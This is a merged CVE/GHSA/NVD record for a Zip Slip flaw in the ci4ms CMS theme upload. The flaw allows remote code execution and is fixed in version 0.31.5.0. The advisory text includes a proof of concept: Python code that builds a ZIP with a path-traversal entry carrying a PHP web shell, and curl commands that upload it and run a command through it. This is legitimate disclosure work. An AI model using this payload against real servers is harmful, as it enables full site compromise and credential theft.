{"id":"CVE-2026-41203","aliases":["CVE-2026-41203","GHSA-xv3r-vr59-95rg"],"related":[],"kind":"vulnerability","state":"published","title":"ci4ms Theme::upload is vulnerable to Zip Slip leading to RCE","summary":"CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.5.0, ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root. This issue has been patched in version 0.31.5.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.5.0, ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root. This issue has been patched in version 0.31.5.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.\n\n### Details\nmodules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:\n\n```php\npublic function upload()\n{\n    $valData = ([\n        'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],\n    ]);\n    if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());\n    $file = $this->request->getFile('theme');\n    $tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';\n    $zip = new \\ZipArchive();\n    if ($zip->open($file->getTempName()) === true) {\n        $zip->extractTo($tempPath);     // no entry-name validation\n        $zip->close();\n    } ...\n    $log = install_theme_from_tmp($themeName);\n    ...\n}\n```\n\nA ZIP containing entries like `../../public/shell.php` is extracted outside `writable/tmp/` into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.\n\nRouting: modules/Theme/Config/Routes.php binds `POST backend/themes/themesUpload` to Theme::upload with `role=create`. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has `create` on the Theme module, and any admin with that role can trigger it directly.\n\nA companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.\n\n### PoC\nBuild the archive:\n\n```python\npython3 -c \"\nimport zipfile\nwith zipfile.ZipFile('evil_theme.zip','w') as z:\n    z.writestr('../../public/shell.php', '<?php system(\\$_GET[\\\"c\\\"]); ?>')\n    z.writestr('info.xml', '<theme name=\\\"x\\\"/>')\n\"\n```\n\nUpload through the Theme manager with an authenticated session that has theme create:\n\n```bash\ncurl -i -b 'ci4ms_session=<SESSION_ID>' \\\n  -F 'theme=@evil_theme.zip' \\\n  https://target.example.com/backend/themes/themesUpload\n```\n\nTrigger the shell:\n\n```bash\ncurl 'https://target.example.com/shell.php?c=id'\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n### Impact\nAny ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.","format":"markdown","source":"ghsa"},{"lang":"es","text":"CI4MS es un esqueleto de CMS basado en CodeIgniter 4 que ofrece una arquitectura modular lista para producción con autorización RBAC y soporte de temas. Antes de la versión 0.31.5.0, ci4ms Theme::upload extrae archivos ZIP subidos por el usuario sin validar los nombres de las entradas, permitiendo a un usuario autenticado del backend con el permiso de creación de temas escribir archivos en ubicaciones arbitrarias del sistema de archivos (Zip Slip) y lograr ejecución remota de código al colocar un archivo PHP bajo la raíz web pública. Este problema ha sido parcheado en la versión 0.31.5.0.","source":"nvd"}],"published":"2026-04-22T17:29:58.000Z","modified":"2026-10-26T19:10:00.163Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.4,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.4,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","rating":"CRITICAL"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 0.31.5.0","status":"affected"}],"vendor":"ci4-cms-erp","product":"ci4ms","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.31.5.0"}],"ecosystem":"Packagist","package":"ci4-cms-erp/ci4ms","purl":"pkg:composer/ci4-cms-erp/ci4ms","source":"ghsa"}],"references":[{"url":"https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xv3r-vr59-95rg","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41203","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/ci4-cms-erp/ci4ms","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-05-07T13:49:29.498Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-41203","url":"https://www.cve.org/CVERecord?id=CVE-2026-41203","licence":"CVE Terms of Use","modified":"2026-05-07T13:49:58.012Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-xv3r-vr59-95rg","url":"https://github.com/advisories/GHSA-xv3r-vr59-95rg","licence":"CC-BY-4.0","modified":"2026-05-08T20:01:38.323Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-41203","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41203","licence":"Public domain","modified":"2026-10-26T19:10:00.163Z"}],"updatedAt":"2026-11-25T22:59:20.846Z","epss":{"score":0.0062,"percentile":0.51069,"date":"2026-12-02T12:00:21.000Z"}}